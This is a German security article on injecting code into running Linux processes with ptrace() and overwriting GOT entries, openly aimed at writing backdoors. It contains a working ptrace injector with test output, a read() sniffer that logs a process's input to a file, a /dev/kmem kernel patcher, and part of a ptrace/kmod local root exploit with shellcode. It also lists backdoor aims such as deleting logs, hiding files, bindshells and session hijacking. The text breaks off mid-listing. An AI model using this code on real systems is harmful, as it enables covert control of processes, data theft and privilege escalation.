


Angriff

Funktionen überschreiben mit ptrace()

Stefan Klaas (GroundZero Security Research) 

Schwierigkeitsgrad



In den vergangenen Jahren gab es einige Prozess-Injections Techniken für ptrace(), einige öffentliche sowie private Sicherheitslücken, Backdoors und andere Applikationen. Wir werden einen detaillierten Blick auf die ptrace() Funktion werfen und lernen, wie wir eigene Backdoors schreiben können.

Bis jetzt haben wir noch keine, oder nur wenige veröffentlichte Codes gesehen, die `ptrace()` benutzen um Funktionen zu überschreiben. Es gibt einige private Programme, die bis jetzt noch nicht im Internet aufgetaucht sind und es gibt auch leider keine Dokumente, die diese Technik beschreiben. Deshalb werde ich Ihnen diese nützliche Technik näher bringen. Wäre es nicht toll, wenn wir Backdoors von fast jeder Größe in den Speicher eines beliebigen Programmes platzieren könnten, die Programmausführung verändern könnten, auch bei einem eingebrachten *non executable stack*-Patch? Dann sollten Sie weiterlesen! Sie sollten auch wissen, dass ich folgende gcc Versionen benutzt habe:

```
gcc version 3.3.5 (Debian 1:3.3.5-13)
gcc version 3.3.5 20050117 (prerelease)
(SUSE Linux)
```

Die Kompilierung ist nicht schwer, einfach wie gewohnt `gcc file.c -o output`, darum werde ich keine Kompilierungsbeispiele nennen. Lassen Sie uns direkt beginnen. Die `ptrace()`-Funktion ist sehr nützlich für Debugging-Zwecke. Sie

wird benutzt, um den Ablauf von Prozessen zu verfolgen.

Lassen Sie uns einen Blick auf die Dokumentation dieser Funktion (man [3]) werfen:

Copyright (c) 1993 Michael Haardt (u31b3hs@pool.informatik.rwth-aachen.de), Fri Apr 2 11:32:09 MET DST 1993. This is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software

In diesem Artikel erfahren Sie...

- Wie die `ptrace()` Systemcall funktioniert;
- Wie man diese Funktion dazu benutzt, Funktionen in laufenden Programmen überschreiben und eigenen Code einzuschleusen;

Was Sie vorher wissen/ können sollten...

- Sie sollten mit der Linux Umgebung vertraut sein, ausserdem sind fortgeschrittene C Kenntnisse, sowie grundlegendes ASM (at&t oder intel) erforderlich.

re Foundation; either version 2 of the License, or (at your option) any later version.

The GNU General Public License's references to *object code* and *executables* are to be interpreted as the output of any document formatting or typesetting system, including intermediate and printed output.

This manual is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this manual; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Modified Fri Jul 23 23:47:18 1993
by Rik Faith (faith@cs.unc.edu)
Translated to German Sun Oct 06 15:00:00 1996 by Patrick Rother
<krd@gulu.net> TH PTRACE 2.6.
Oktober 1996 Linux 0.99.11 Systemaufrufe .SH NAME ptrace \- Prozessverfolgung .SH ÜBERSICHT .B #include <sys/ptrace.h> .sp .BI "int ptrace(int request, int pid, int addr, int data); .SH BESCHREIBUNG .B Ptrace stellt einen Weg zur Verfügung, durch den ein Vaterprozeß die Ausführung eines Tochterprozesses kontrollieren und sein core überwachen und ändern kann. Der Hauptnutzen besteht in der Implementation von Fehlersuche mit Unterbrechungspunkten (breakpoint debugging). Ein getraceter Prozeß läuft bis ein Signal auftritt. Dann stoppt er und der Vater wird benachrichtigt durch .BR wait (2).

Wenn des Prozeß sich in gestopptem Zustand befindet, kann sein Speicher gelesen und beschrieben werden. Der Vater kann auch die Tochter bewegen, die Ausführung fortzusetzen; optional kann das Signal, daß das Stoppen bewirkte, ignoriert werden. .LP Der Wert des Arguments .I request legt die genaue Aktion des Systemaufrufs fest:

Listing 1. Simpler ptrace()-Injektor

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <asm/user.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <linux/ptrace.h>
asm("MY_BEGIN:\n"
    "call para_main\n"); /* Den Anfang des Parasiten markieren */
char *getstring(void) {
    asm("call me\n"
        "me:\n"
        "popl %eax\n"
        "addl $(MY_END - me), %eax\n");
}
void para_main(void) {
    /* der Kern des Parasiten */
    asm("\n"
        "movl $1, %eax\n"
        "movl $31337, %ebx\n"
        "int $0x80\n"
        "\n");
    /*
     * we do exit(31337);
     * nur um das Ganze in strace zu verfolgen
     */
}
asm("MY_END:"); /* der Parasit endet hier */
char *GetParasite(void) /* Parasiten lokalisieren */
{
    asm("call me2\n"
        "me2:\n"
        "popl %eax\n"
        "subl $(me2 - MY_BEGIN), %eax\n"
        "\n");
}
int PARA_SIZE(void)
{
    asm("movl $(MY_END-MY_BEGIN), %eax\n"); /* Größe des Parasiten */
}
int main(int argc, char *argv[])
{
    int parasize;
    int i, a, pid;
    char inject[8000];
    struct user_regs_struct reg;
    printf("\n[Example Ptrace Injector]\n");
    if (argv[1] == 0) {
        printf("[usage: %s [pid] ]\n\n", argv[0]);
        exit(1);
    }
    pid = atoi(argv[1]); parasize = PARA_SIZE(); /* Platz kalkulieren */
    while ((parasize % 4) != 0) parasize++; /* Erstellen des Injektions-
                                         Codes*/
    {
        memset(&inject, 0, sizeof(inject));
        memcpy(inject, GetParasite(), PARA_SIZE());
        if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) /* attach Prozess */
        {
```



- **PTRACE_TRACEME:** Dieser Prozeß wird durch seinen Vater verfolgt. Der Vater sollte erwarten die Tochter zu verfolgen;
- **PTRACE_PEEKTEXT, PTRACE_PEEKDATA:** Lese Wort bei Adresse .IR addr. TP;
- **PTRACE_PEEKUSR:** Lese Wort bei Adresse .I addr im .BR USER \-Bereich. TP;
- **PTRACE_POKETEXT, PTRACE_POKEDATA:** Schreibe Wort an Adresse .IR addr. TP;
- **PTRACE_POKEUSR:** Schreibe Wort an Adresse .I addr im .BR USER \-Bereich. TP;
- **PTRACE_SYSCALL:** PTRACE_CONT Fahre fort nach Signal. TP;
- **PTRACE_KILL:** Send dem Tochterprozeß ein .B SIGKILL um ihn zu beenden. TP;
- **PTRACE_SINGLESTEP:** Setze das trap Flag für Einzelschrittmodus. TP;
- **PTRACE_ATTACH:** Haenge an den Prozeß an, der durch .IR pid spezifiziert ist. TP;
- **PTRACE_DETACH:** Gib einen Prozeß frei, der vorher verbunden war. **SH BEMERKUNGEN** .BR init, der Prozeß mit der Prozessnummer 1, darf diese Funktion nicht benutzen.

Machen Sie sich nun keine Sorgen, Sie müssen all diese neuen Informationen noch nicht vollständig verstanden haben. Allerdings sind die Angaben direkt auf den Punkt gebracht und sollten verständlich für Sie sein. Ich werde Ihnen einige Anwendungsmöglichkeiten im Laufe dieses Artikels erklären.

Nutzen der ptrace() Systemcall

Normalerweise wird `ptrace()` dazu benutzt, den Ablauf eines Prozesses, meist zur Fehlersuche, zu verfolgen und kann sehr hilfreich bei dieser Aufgabe sein. Die Programme *strace* und *ltrace* benutzen diese Funktion, um den Prozessablauf eines laufenden Programmes zu überwachen. Es gibt diesbezüglich einige nützliche Programme im In-

ternet, daher möchten Sie eventuell einmal selbst bei Google suchen, um diese Programme in Aktion zu sehen.

Was sind Parasitäre Codes

Es sind kleine Codes, die sich nicht selbst replizieren. Sie werden meist in Programme injiziert. Dazu wird

Listing 1a. Simpler ptrace()-Injektor

```
printf("cant attach to pid %d: %s\n", pid, strerror(errno));
exit(1);
}
printf("+ attached to proccess id: %d\n", pid);
printf("- sending stop signal..\n");
kill(pid, SIGSTOP); /* stop den Prozess */
waitpid(pid, NULL, WUNTRACED);
printf("+ process stopped. \n");
ptrace(PTRACE_GETREGS, pid, 0, &reg); /* Registerinformationen abfragen */
printf("- calculating parasite injection size.. \n");
for (i = 0; i < parasize; i += 4) /* Parasite Code auf %eip schreiben */
{
    int dw;
    memcpy(&dw, inject + i, 4);
    ptrace(PTRACE_POKETEXT, pid, reg.eip + i, dw);
}
printf("+ Parasite is at: 0xx \n", reg.eip);
printf("- detach..\n");
ptrace(PTRACE_CONT, pid, 0, 0); /* Child process neustarten */
ptrace(PTRACE_DETACH, pid, 0, 0); /* detach Prozess */
printf("+ finished!\n\n");
exit(0);
}
```

Listing 2. Ein Blick auf die GOT-Tabelle

```
[root@hal /root]# objdump -R /usr/sbin/httpd |grep read
08086b5c R_386_GLOB_DAT ap_server_post_read_config
08086bd0 R_386_GLOB_DAT ap_server_pre_read_config
08086c0c R_386_GLOB_DAT ap_threads_per_child
080869b0 R_386_JUMP_SLOT fread
08086b24 R_386_JUMP_SLOT readdir
08086b30 R_386_JUMP_SLOT read <-- hier sehen wir unser read()
[root@hal /root]#
```

Listing 3. Beispiel von sys_write:

```
int patched_syscall(int fd, char *data, int size)
{
    // wir erhalten alle Parameter aus dem Speicher, der Deskriptor
    // bei 0x8(%esp), Daten 0xc(%esp) und Größe bei 0x10(%esp)
    asm(
        movl $4,%eax # original syscall
        movl $0x8(%esp),%ebx # fd
        movl $0xc(%esp),%ecx # data
        movl $0x10(%esp),%edx # size
        int $0x80
        // nach dem interrupt Aufruf ist die Rücksprung Adresse in %eax
        // Wenn Sie nun eigenen Code nach der Syscall platzieren wollen,
        // müssen Sie %eax speichern und am Ende dorthin zurück springen
        // fügen Sie keine "ret" Instruktion am Ende ein!
    )
}
```

in den meisten Fällen ELF-Infektion bzw. `ptrace()`-Injektion verwendet. Der grundlegende Unterschied zwischen diesen beiden Methoden liegt darin, dass ELF-Infektion resistent, d.h. auch nach einem reboot noch aktiv ist, während `ptrace`-Parasiten nur im Speicher *leben* und daher nur aktiv sind, solange der Prozess ausgeführt wird.

Klassische `ptrace`-Injektion

Klassische `ptrace`-Injektion wurde in *phrack* [2] veröffentlicht. Sollten Sie diesen Text nicht gelesen haben, so würde ich Ihnen raten, dies nachzuholen. Wenn Sie die `ptrace()`-Injektionstechnik bereits kennen, gehen Sie einfach über zu Sektion 3. Es handelt sich hierbei um eine sehr nützliche Funktion, speziell zur Fehlersuche und Syscall-Verfolgung.

Mit `Ptrace` haben Sie die Möglichkeit, Prozesse zu überwachen und die Ausführung anderer Prozesse zu kontrollieren. Desweiteren können Sie die Register eines Prozesses ändern und somit eigene Befehle implementieren. Daher ist es offensichtlich, warum man diese Funktion zum ausnutzen von Schwachstellen benutzen kann.

Listing 4. Code eines Infektors aus dem Internet, um den benötigten Speicher zu erhalten.

```
void infect_code()
{
    asm(
        xorl %eax,%eax
        push %eax    # offset = 0
        pushl $-1    # no fd
        push $0x22    #
        MAP_PRIVATE|MAP_ANONYMOUS
        pushl $3    # PROT_READ|PROT_
                        WRITE
        push $0x55    # mmap()
        reserviere 1000 bytes
        # benötigen Sie mehr, müssen
        Sie neu kalkulieren
        pushl %eax    # start addr = 0
        movl %esp,%ebx
        movb $45,%al
        addl $45,%eax    # mmap()
        int $128
        ret
    );
}
```

Hier ist ein Beispiel einer `ptrace`-Sicherheitslücke im alten Linux Kernel. Kernels vor 2.2.19 haben eine lokale Schwachstelle, die es ermöglicht, root Rechte zu erlangen. Durch eine sog. *race condition* in der `execve()`-System-Call kann `ptrace()` dazu benutzt werden um einen *child*-Prozess zu kontrollieren. Wenn nun der Prozess *setuid* läuft, kann ein Angreifer eigenen Code mit erhöhten Privilegien ausführen. Mit anderen Worten, der Angreifer bekommt Super-User Rechte.

Es gibt noch weitere bekannte Sicherheitsprobleme mit `ptrace()` bei Linux Kernel 2.2.19 und älter, welche als gefixt beschrieben werden, aber erfahrungsgemäss haben viele Admins nicht die nötigen Patches/Updates eingespielt und somit sind noch viele Systeme von diesen Schwachstellen betroffen. Bei Linux 2.4.x gibt es ein ähnliches Problem, eine *race condition* in `kernel/kmod.c`,

welche einen unsicheren Kernel Thread startet. Diese Lücke erlaubt das `Ptracen` von geklonten Prozessen und ermöglicht es somit, privilegierte Programme zu kontrollieren.

Ich füge einen *Proof of Concept*-Exploit Code für diese Schwachstel-

le in den Anhang [2] dieses Artikels ein. Das war ein kleines Beispiel, wie man `ptrace()` benutzen kann, um root-Rechte zu erhalten.

Es ist an der Zeit mit unserem ersten Injections-Beispiel und mit unserem ersten Beispielcode zu beginnen. Anstatt den Code in den Anhang zu packen, werde ich ihn hier einfügen und etwas genauer mit Kommentaren erklären.

Unser erster einfacher `ptrace()`-Injektor – siehe Listing 1a und 1b.

Nun ein Test in unserem Terminal (A):

```
server:~# gcc ptrace.c -W
server:~# nc -lp 1111 &
[1] 7314
server:~# ./a.out 7314
[Example Ptrace Injector]
+ attached to proccess id: 7314
- sending stop signal..
+ proccess stopped.
- calculating parasite
injection size..
+ Parasite is at: 0x400fa276
- detach..
+ finished!
server:~#
```

Auf dem anderen Terminal (B), stracen wir den netcat-Prozess:

Listing 5: Beispiel zum Erstellen der `infect_code()`-Funktion.

```
ptrace(PTRACE_GETREGS, pid, &reg, &reg);
ptrace(PTRACE_GETREGS, pid, &regb, &regb);
reg.esp -= 4;
ptrace(PTRACE_POKETEXT, pid, reg.esp, reg.eip);
ptr = start = reg.esp - 1024;
reg.eip = (long) start + 2;
ptrace(PTRACE_SETREGS, pid, &reg, &reg);
while(i < strlen(sh_code)) {
    ptrace(PTRACE_POKETEXT, pid, ptr, (int) *(int *) (sh_code+i));
    i += 4;
    ptr += 4;
}
printf("trying to allocate memory \n");
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, &reg, &reg);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
printf("new memory region mapped to.. 0x%.8lx\n", reg.eax);
printf("backing up registers...\n");
ptrace(PTRACE_SETREGS, pid, &regb, &regb);
printf("dynamical mapping complete! \n", pid);
ptrace(PTRACE_DETACH, pid, 0, 0);
return reg.eax;
```



```
gw1:~# strace -p 7314
Process 7314 attached
- interrupt to quit
accept(3,
```

Dann gehen wir zurück zu unserem Terminal A und verbinden zu dem initialisierten Netcat-Prozess:

```
server:~# nc -v localhost 1111
localhost [127.0.0.1] 1111 (?) open
[1]+  Exit 105  nc -lp 1111
server:~#
```

Lassen Sie uns nun einen Blick auf die Ausgabe von strace auf Terminal B werfen:

```
accept(3, {sa_family=AF_INET,
sin_port=htons(35261),
sin_addr=inet_addr
("127.0.0.1")}, [16]) = 4
_exit(31337) = ?
Process 7314 detached
server:~#
```

Wie Sie sehen können, hat es funktioniert! Jetzt genug von einfacher ptrace()-Injektion. Nun beginnen wir mit fortgeschrittenen Techniken mit dieser Funktion. Sollten Sie immer noch etwas unsicher sein, beginnen Sie den Artikel noch einmal von vorne. Spielen Sie ein wenig mit dem Beispiel, damit Sie die Materie besser verstehen. Der Rest dieses Artikels erwartet, dass Sie simple ptrace() Injektionen verstanden haben.

Funktionen überschreiben

Diese Technik ist etwas schwerer verständlich, jedoch sehr nützlich - Funktionen überschreiben mit ptrace(). Auf den ersten Blick scheint es sich um dasselbe zu handeln, wie ptrace()-Injektion, aber es ist doch ein wenig anders. Normalerweise würden wir unseren Shellcode in den Prozess injizieren. Wir würden ihn in den Stapelspeicher schreiben und ein paar Register ändern.

Mit dieser Methode haben wir jedoch einige Einschränkungen. Zum Beispiel wird der Code nur einmal ausgeführt. Wenn wir allerdings Sys-

calls überschreiben, bleibt der Code aktiv, bis das Programm beendet wird. Achten Sie darauf, dass wir nicht von richtigen Syscalls direkt im Kernel sprechen, sondern nur von importierten, gemeinsam genutzten Funktionen, welche dieselben Aktionen ausführen wie die originalen Syscalls.

Die GOT (*Global Offset Table*)-Tabelle gibt uns die Speicheradresse, bei der wir die Funktion, nach dem Laden finden. Der einfachste Weg, um die gewünschte Adresse zu erhalten, ist das Programm *objdump* zu benutzen.

Werfen wir einen Blick auf die GOT Tabelle in Listing 2.

Wenn ein Prozess die Funktion `read()` aufrufen möchte, fragt er die Adresse `08086b30` ab. Bei `08086b30` liegt eine weitere Adresse, die auf die wirkliche `read()` Funktion zeigt. Wenn wir nun eine andere Adresse in `08086b30` eintragen, wird das nächste Mal, wenn der Prozess die Adresse aufruft nicht `read()` angesprochen, sondern er landet bei der Adresse, die wir eingetragen haben.

Wenn Sie folgenden Code eintragen würden:

```
movl $0x08086b30, %eax
movl $0x41414141, (%eax)
```

würde der Prozess das nächste Mal, wenn `read()` aufgerufen wird, einen Segfault bei Adresse `0x41414141` anzeigen. Mit diesem Wissen können wir nun einen Schritt weiter gehen. Lassen Sie uns über die Möglichkeiten nachdenken. Es ist uns möglich, jede beliebige Funktion zu überschreiben, somit können wir verschiedenste Backdoors in laufenden Prozessen plazieren. Wir können die totale Kontrolle über einen z.B. Server-Prozess übernehmen, Syscalls überwachen, Rücksprung-Adressen ändern oder Daten protokollieren.

Zuerst benötigen wir allerdings Speicherplatz für unser Backdoor. Es gibt ca. 244 Bytes unbenutzten Speicher bei `0x8048000`. Dieser Platz ist belegt von den ELF Headern, welche nur beim Initialisieren des Prozesses

benutzt und sobald das Programm gestartet ist, nicht mehr benötigt werden. Wir können diesen Platz nun verwenden, um unseren Code dort zu platzieren, ohne den Ablauf des Prozesses zu stören. Also anstatt Daten zu zerstören indem wir unseren Code direkt an `%eip` schreiben, können wir ihn dort platzieren, oder wenigstens einen initialen

Listing 6. read()-Sniffer-Parasit

```
#define LOGFILE
"/tmp/read.sniffed"
asm("INJECT_PAYLOAD_BEGIN:");
int Inject_read
(int fd, char *data, int size)
{
asm("
jmp DO
DONT:
popl %esi # logfile adresse
xorl %eax, %eax
movb $3, %al #
read() aufrufen
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp), %ecx # ecx:
data
movl 16(%esp), %edx # edx:
größe
int $0x80
movl %eax, %edi #
return value speichern in %edi
movl $5, %eax #
open() aufrufen
movl %esi, %ebx # LOGFILE
movl $0x442, %ecx
# O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx #
Permission 0777
int $0x80
movl %eax, %ebx # ebx:
fd für die nächsten 2 Calls
movl $4, %eax #
write() to log
movl 12(%esp), %ecx
# pointer an data
movl %edi, %edx #
read's ret value - zu
lesende Bytes mit read()
int $0x80
movl $6, %eax
int $0x80
movl %edi, %eax
jmp DONE
DO:
call DONT
.ascii "\\\"LOGFILE\\\"
.byte 0x00
DONE:
");
}
asm("INJECT_P_END:");
```

Listing 7. Eine kleine Funktion um das .text Segment zu erreichen

```

int get_textsegment(int pid, int *size)
{
    Elf32_Ehdr ehdr;
    char buf[128];
    FILE *input;
    int i;
    snprintf(buf, sizeof(buf), "/proc/%d/exe", pid);
    if (!(input = fopen(buf, "rb")))
        return (-1);
    if (fread(&ehdr, sizeof(Elf32_Ehdr), 1, input) != 1)
        goto end;
    /*
     * read ELF binary header + do calculations
     */
    *size = sizeof(Elf32_Ehdr) + ehdr.e_phnum * sizeof(Elf32_Phdr);
    if (fseek(input, ehdr.e_phoff, SEEK_SET) != 0)
        goto end;
    for (i = 0; i < ehdr.e_phnum; i++) {
        Elf32_Phdr phdr;
        if (fread(&phdr, sizeof(Elf32_Phdr), 1, input) != 1)
            goto end;
        if (phdr.p_offset == 0) {
            fclose(input);
            return phdr.p_vaddr;
        }
    }
end:;
    fclose(input);
    return (-1);
}
/*
 * Hier rufen wir unsere Funktion aus main() auf
 */
if ((textseg = get_textsegment(pid, &size)) == -1) {
    fprintf(stderr, "unable to locate pid %d's text segment address (%s)\n",
            pid, strerror(errno));
    return (-1);
}
/*
 * Wir müssen unbedingt den Platz beachten - wir können nur 244Bytes belegen!
 */
if (inject_parasite_size() > size) { // validate the size
    fprintf(stderr, "Your parasite is too big and wont fit. optimize it!\n");
    return (-1);
}
snprintf(buf, sizeof(buf), "/proc/%d/exe", pid);
if ((readgot = got(buf, "read")) < 0) { // grab read's GOT addy
    fprintf(stderr, "Unable to extract read()'s GOT address\n");
    return (-1);
}

if (inject(pid, textseg, inject_parasite_size(), inject_parasite_ptr()) < 0)
{
    fprintf(stderr, "Parasite injection failed! (%s)\n", strerror(errno));
    return (-1);
}
/*
 * Überschreiben von read's global offset table Adresse
 */
if (inject(pid, readgot, 4, (char *) &textseg) < 0) {
    fprintf(stderr, "GOT entry injection failed! (%s)\n", strerror(errno));
    return (-1);
}
}

```

Parasiten, der dann einen grösseren startet. Da unser Platz limitiert ist, bietet sich diese Methode natürlich an.

Werfen wir nun einen Blick auf unser Binary (den *Prozess*), bei dem wir unser Backdoor platzieren wollen. Zuerst benötigen wir jedoch ein wenig Hintergrundwissen und einen Weg, um unser Backdoor in den Speicher des Prozesses zu schreiben.

Syscalls abfangen

Das *.text* Segment enthält die ELF Programm-Header und andere Informationen, welche nur bei der Initialisierung benötigt werden. Nachdem der Prozess geladen wurde, sind die Header nutzlos und daher können wir diesen Platz nun nutzen, um unseren Code dort einzufügen. Um den Anfang dieser Sektion zu erhalten, müssen sie `p_vaddr` abfragen.

Diese Sektion hat einen statischen Platz und mit ein paar simplen Kalkulationen erhalten wir unsere Formel:

```

max_possible_size
...=sizeof(e_hdr)+sizeof(p_hdr)
*amount_of_p_headers

```

Es steht uns nur wenig Platz zur Verfügung, jedoch genug für ein wenig ASM code. Wenn wir eine Syscall patchen, müssen wir natürlich einen originalen Syscall speichern. Wir schreiben daher unsere eigene Implementation dieser Syscall, die die selben Funktionen ausführt wie das Original.

In Listing 3 sehen wir einen Code Auszug, der eine selektierte Syscall ersetzen wird:

Ein Vorteil hierbei ist es, dass wir uns keine Gedanken über den *Executable Stack* oder NULL Bytes machen müssen. Unsere veränderte Syscall lebt im inneren des Prozesses, jedoch haben wir wieder den Nachteil des limitierten Speicherplatzes.

Lassen Sie uns nun überlegen, welche Informationen wir benötigen, um unsere Funktion zu überschreiben:

**Listing 8a. Kernel Patcher um init zu Manipulieren**

```
#define _GNU_SOURCE
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int kmem_fd;
/* low level utility subroutines */
void read_kmem( off_t offset, void *buf, size_t count )
{
    if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
    {
        perror( "lseek(kmem)" );
        exit( 1 );
    }
    if( read( kmem_fd, buf, count ) != (long) count )
    {
        perror( "read(kmem)" );
        exit( 2 );
    }
}
void write_kmem( off_t offset, void *buf, size_t count )
{
    if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
    {
        perror( "lseek(kmem)" );
        exit( 3 );
    }
    if( write( kmem_fd, buf, count ) != (long) count )
    {
        perror( "write(kmem)" );
        exit( 4 );
    }
}
#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256
int main( void )
{
    int kmode, gcc_ver;
    int idt, int80, sct, ptrace;
    char buffer[BUFSIZE], *p, c;
    if( ( kmem_fd = open( "/dev/kmem", O_RDWR ) ) < 0 )
    {
        dev_t kmem_dev = makedev( 1, 2 );
        perror( "open(/dev/kmem)" );
        if( mknod( "/tmp/kmem", 0600 | S_IFCHR, kmem_dev ) < 0 )
        {
            perror( "mknod(/tmp/kmem)" );
            return( 16 );
        }
        if( ( kmem_fd = open( "/tmp/kmem", O_RDWR ) ) < 0 )
        {
            perror( "open(/tmp/kmem)" );
            return( 17 );
        }
        unlink( "/tmp/kmem" );
    }
    /* get interrupt descriptor table address */
    asm( "sidt %0 : "=m" ( buffer ) );
    idt = *(int *) ( buffer + 2 );
```

- Der Prozess, den wir überschreiben wollen + Prozess ID;
- Die Funktion, die wir überschreiben wollen;
- Die Adresse der Funktion aus der GOT-Tabelle;
- Die Adresse des .Text-Segementes;
- Die eigene Implementierung der Backdoor Funktion.

Umgehen der Platzlimitation

Wie schon gesagt, belegen die ELF Header etwa 244 Bytes und dies ist nicht genug für ein grösseres Backdoor, also habe ich nach einer Methode gesucht, die es uns ermöglicht, einen grösseren Code einzufügen.

Die erste Idee war, einen dynamischen Speicher zu reservieren.

- Code in den Stapelspeicher einfügen, der einen dynamischen Speicher reserviert (mit `mmap()`);
- Einen Pointer auf die Speicher-Region erhalten;
- Unsere `inject()` Funktion benutzen um unseren Code in den reservierten Speicher zu schreiben, aber anstatt des .Text-Segementes, den neuen reservierten Speicherplatz benutzen:

```
sh_code = malloc(strlen((char*)
                                infect_code)
                                +4);
strcpy(sh_code, (char *) infect_code);
reg.eax = infect_ptrace(pid);
```

In Listing 4 sehen Sie den Code eines Injektors, den ich im Internet gefunden habe, um dynamischen Speicher zu reservieren:

Um Speicher zu reservieren ohne den Speicher auszuführen habe ich ein kleines, modifiziertes Schema:

- Überschreiben der .Text Segment start Adresse mit `infect_code()` (Vergessen Sie nicht die originale `read()`-Funktion);
- die `read()`-Funktion verfolgen (`strace`) und die Rücksprung-Adresse speichern. Zum Beispiel wenn Sie nun netcat infizieren wollen, dann sollten Sie zu dem

Listing 8b. Kernel Patcher um init zu manipulieren

```

read_kmem( idt + ( 0x80 << 3 ), buffer, 8 );
int80 = ( *(unsigned short *) ( buffer + 6 ) << 16 )
+ *(unsigned short *) ( buffer );
read_kmem( int80, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\xFF\x14\x85", 3 ) ) )
{
    fprintf( stderr, "fatal: can't locate sys_call_table\n" );
    return( 18 );
}
sct = *(int *) ( p + 3 );
printf( " . sct @ 0x%08X\n", sct );
read_kmem( (off_t) ( p + 3 - buffer + syscall ), buffer, 4 );
read_kmem( sct + __NR_ptrace * 4, (void *) &ptrace, 4 );
read_kmem( ptrace, buffer, BUFSIZE );
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFE\x10", 3 ) ) )
{
    p -= 7;
    c = *p ^ 1;
    kmode = *p & 1;
    gcc_ver = GCC_295;
}
else
{
    if( ( p = memmem( buffer, BUFSIZE, "\x83\xFB\x10", 3 ) ) )
    {
        p -= 2;
        c = *p ^ 4;
        kmode = *p & 4;
        gcc_ver = GCC_3XX;
    }
    else
    {
        fprintf( stderr, "fatal: can't find patch 1 address\n" );
        return( 19 );
    }
    write_kmem( p - buffer + ptrace, &c, 1 );
    printf( " . kp1 @ 0x%08X\n", p - buffer + ptrace );
    if( gcc_ver == GCC_3XX )
    {
        p += 5;
        ptrace += *(int *) ( p + 2 ) + p + 6 - buffer;
        read_kmem( ptrace, buffer, BUFSIZE );
        p = buffer;
    }
    if( ! ( p = memchr( p, 0xE8, 24 ) ) )
    {
        fprintf( stderr, "fatal: can't locate ptrace_attach\n" );
        return( 20 );
    }
    ptrace += *(int *) ( p + 1 ) + p + 5 - buffer;
    read_kmem( ptrace, buffer, BUFSIZE );
    if( ! ( p = memmem( buffer, BUFSIZE, "\x83\x79\x7C", 3 ) ) )
    {
        fprintf( stderr, "fatal: can't find patch 2 address\n" );
        return( 21 );
    }
    c = ( ! kmode );
    write_kmem( p + 3 - buffer + ptrace, &c, 1 );
    printf( " . kp2 @ 0x%08X\n", p + 3 - buffer + ptrace );
    if( c ) printf( " - kernel unpatched\n" );
    else printf( " + kernel patched\n" );
    close( kmem_fd );
    return( 0 );
}

```

Prozess verbinden, einige Daten senden damit `read()` aufgerufen wird;

- Der nächste Aufruf ist `mmap()`, um Speicher zu reservieren und die Rücksprung-Adresse zu erhalten, um Sie in `inject()` zu verwenden.

Bei `inject()` handelt es sich einfach um eine simple `ptrace()` - Injektionsfunktion

In Listing 5 finden Sie noch ein Beispiel, was für die Funktion `inject_code()` benötigt wird, nachdem `ptrace attach` ausgeführt wurde:

Jetzt sind wir in der Lage, Backdoors von fast unlimitierter Grösse zu erstellen und deshalb können wir auch weitaus komplexere Codes einfügen.

Was ist möglich

Was können wir nun mit diesem Wissen anfangen? Grundsätzlich handelt es sich um dasselbe, wie Standard-Funktionen überschreiben, (wenn Sie damit vertraut sind z.B. durch LKM Rootkits) nur mit Hilfe von `ptrace()`. Werfen wir einen Blick auf ein paar unserer Möglichkeiten:

- Ändern von Rücksprung-Adressen z.B. Protokolle faken;
- Dateien löschen (log Daten);
- Dateien verstecken z.B. Viren, Würmer oder verschlüsselte Daten;
- Kommunikationen belauschen (sniffen);
- sog. Bindshells oder Connect back um Zugriff auf ein System zu erhalten;
- Sitzungen übernehmen (*session hijacking*);
- Zeitangaben oder md5 Summen ändern.

Wie Sie sehen können, haben wir eine grosse Auswahl verschiedenster Backdoor-Möglichkeiten, die wir benutzen können. Der Punkt dabei ist: es ist uns möglich, einen Prozess komplett zu kontrollieren. Sie können neue Funktionen hinzufügen, oder entfernen (z.B. Protokollfunktionen) und es ist Ihnen

**Listing 9a. Linux Kernel ptrace/kmod lokale Schwachstelle**

```
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
    "\x90\x90\xeb\x1f\x88\xb6\x00\x00"
    "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
    "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
    "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
    "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
    perror(msg);
    kill(parent, SIGKILL);
    kill(child, SIGKILL);
    kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
    char buf[MAXPATHLEN + CODE_SIZE];
    unsigned long * src;
    int i, len;
    memcpy(buf, cliphcode, CODE_SIZE);
    len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
    if (len == -1)
        fatal("[~] Unable to read /proc/self/exe");
    len += CODE_SIZE + 1;
    buf[len] = '\0';
    src = (unsigned long*) buf;
